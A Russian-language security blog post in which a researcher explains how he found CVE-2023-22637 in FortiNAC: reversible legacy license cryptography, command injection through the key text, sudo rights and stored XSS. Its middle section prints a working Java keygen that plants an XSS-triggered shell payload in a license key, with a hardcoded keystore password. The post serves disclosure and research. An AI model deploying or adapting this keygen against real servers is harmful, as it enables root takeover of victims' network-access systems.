Илья Поляков,@e_liu_ha, руководитель отдела анализа кода Angara Security, рассказал, как удалось выявить важную уязвимость в 6 версиях линейки FortiNAC для аутентификации пользователей по протоколу 802.1X и получить премию Pentest Awards в категории Bypass.

Эта история началась в январе 2023 года, когда мы исследовали при­ложе­ние FortiNAC и нашли цепоч­ку дефек­тов и уяз­вимос­тей: облегча­ющую ревер­синг дебаго­вую информацию в ском­пилиро­ван­ных клас­сах Java, сла­бую крип­тогра­фию, хра­нимую XSS и инъ­екцию команд, поз­воля­ющие соз­дать генера­тор лицен­зион­ных клю­чей, которые пос­ле акти­вации выпол­няют про­изволь­ный код от име­ни супер­поль­зовате­ля на сер­вере при­ложе­ния.

Почему FortiNAC? Потому что это одна из самых популярных в мире энтерпрайза систем контроля сетевого доступа (Network Access Control, NAC). Основная задача подобных продуктов — обнаруживать и профилировать любые устройства, которые подключаются к корпоративной инфраструктуре.

Исследование и эксплуатация

На­чалось всё с деком­пиляции Java-клас­сов при­ложе­ния, что поз­волило получить фактически исходный код (раз­ве что без ком­мента­риев), в том чис­ле име­на локаль­ных переменных, бла­года­ря любез­но оставлен­ной при ком­пиляции отла­доч­ной информа­ции. Код, написан­ный на Java Server Pages, деком­пиляции, разуме­ется, не тре­бовал.

Я про­ана­лизи­ровал механизм про­вер­ки лицен­зион­ных клю­чей и нашел легаси‑фун­кцию. Она про­веря­ет клю­чи в ста­ром фор­мате, осно­ван­ном на уяз­вимой к ревер­сингу самописной сим­метрич­ной крип­тогра­фии.

криптоанализ без паяльника (спасибо исходникам)
криптоанализ без паяльника (спасибо исходникам)

Заодно уда­лось най­ти воз­можность инъ­екции команд через текст клю­ча, а также ознакомиться с комментариями разработчиков про то, как им приходится подстраиваться под бесправность системной учётной записи tomcat (которая, впрочем, вполне себе может исполнять sudo):

конкатенация - кратчайший путь к инъекции (с)
конкатенация - кратчайший путь к инъекции (с)
эксплойтим sudoвольстием!
эксплойтим sudoвольстием!

Се­рий­ный номер зада­ется про­изволь­ной стро­кой внут­ри клю­ча, а это откры­вает воз­можность для экс­плу­ата­ции хра­нимой XSS на сай­те при­ложе­ния.

зачем энкодить в HTML серийный ключ, ведь он появляется из доверенного источника, правда же?
зачем энкодить в HTML серийный ключ, ведь он появляется из доверенного источника, правда же?

Получился вот такой генератор лицензионных ключей с полезной нагрузкой:

import com.bsc.license.LicenseDecoder;
import com.bsc.license.FortiNACLicense;
import com.bsc.license.FortiNACType;
import com.bsc.util.EncodeDecode;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.IOException;
import java.io.FileWriter;
public class inject {
 static String pack(String s) {
   int l = s.length();
   return String.valueOf(String.valueOf(l).length()) + String.valueOf(l) + s;
 }
 static String key(FortiNACLicense l, String html) {
 return EncodeDecode.encodeString(
   pack(String.valueOf(l.getDaysValid()*24L*3600L*1000L)) +
   pack(String.valueOf(l.getConcurrentClientCount())) +
   pack("java.util.ArrayList") + pack("") + // Plugins
   pack(l.getEth0MAC().toString()) +
   pack(l.getType().getFullName()) +
   pack("") + // Vendor
   pack("1.8") + // Version
   pack("java.util.ArrayList") + pack("") + // Options
   pack(l.getSystemUUID().toString()) +
   pack(String.valueOf(l.getUSG())) + // Not really USG, but anyways
   pack(l.getSKU()) +
   pack(l.getModelName()) +
   pack("false") + // Expired
   pack("1") + // rtrCount
   pack(l.getName().toString()) +
   pack(l.getSerial().toString() + html) +
   pack(String.valueOf(l.getGeneratedDate().toEpochMilli()))
 );
 }
 public static void main(String[] args) throws IOException {
   String payload = new String(Files.readAllBytes(Paths.get(".", "payload.sh")));
   System.setProperty("javax.net.ssl.keyStorePassword", "^8Bradford%23");
   LicenseDecoder ld = new LicenseDecoder();
   FortiNACLicense l = ld.decode((new String(Files.readAllBytes(Paths.get(".", "input.lic")))).replaceAll("(\\r|\\n)", "")); System.out.println(l);
   FileWriter output = new FileWriter("output.lic");
   output.write(
    key(
      l,
      "<img src='nowhere' onerror="var IP=$('licenseServerCombo').value.split(/ -- /)[0];" +
      "CommonUtils.dataRequest('LicenseActions.jsp',{},
      {action:'ajaxApplyLicense',deviceProxy:IP,deviceIP:IP,thisIP:'0'+IP,newLicense:'" +
        key(l, "") + ";" + payload + "'});"/>"
    )
   );
   output.close();
 }
}

Забавно, что легаси-формат ключей очень лаконичен по сравнению с современным, что позволяет заразить ключ почти 8-килобайтной малварью без увеличения его длины!

Fortinet зарегистрировали и исправили (честно говоря, не проверял) уязвимость (сайт не открывается с российского IP-адреса). Оценку критичности в 5.9 баллов можно объяснить только введением CVSS-потолка для Русских Хакеров™:

CVE-2023-22637. Medium за рутовую RCE. Холст, масло, фейспалм.
CVE-2023-22637. Medium за рутовую RCE. Холст, масло, фейспалм.

Также данный квест занял 4-ое место в номинации Bypass первой в России премии для спе­циалис­тов по тес­тирова­нию на про­ник­новение Pentest Award.

Выводы

Пос­ле ухо­да Fortinet из Рос­сии, внеш­ний зло­умыш­ленник мог вос­поль­зовать­ся тем, что россий­ские ком­пании нуж­дают­ся в прод­лении лицен­зии на FortiNAC. Раз­местив в интерне­те кейгены, которые соз­давали бы «тро­яни­зиро­ван­ные» лицен­зион­ные клю­чи, он зах­ватил бы серверы жертв.

Ну, а мы как эксперты рекомендуем следующее:

Fortninet подтвердила уязвимости 6 версий: FortiNAC-F (версия 7.2.0), FortiNAC (версии 9.4.0 – 9.4.2.), все версии ПО FortiNAC 9.2, 9.1, 8.8, 8.7. Поэтому проверьте, какие версии FortiNAC использует ваша компания.

Если есть возможность, получите патчи от вендора и проверьте обновление ПО на тестовом стенде.

Из-за политических рисков обновление доступно далеко не всем российским клиентам. Поэтому, как вариант, лучше установить отечественное ПО EFROS ACS, которое обладает полным функционалом для разграничения сетевого доступа.

И главное: используйте только официальные доверенные кейгены с открытым исходным кодом программные продукты, разработанные строго в рамках лучших практик DevSecOps!

Комментарии (0)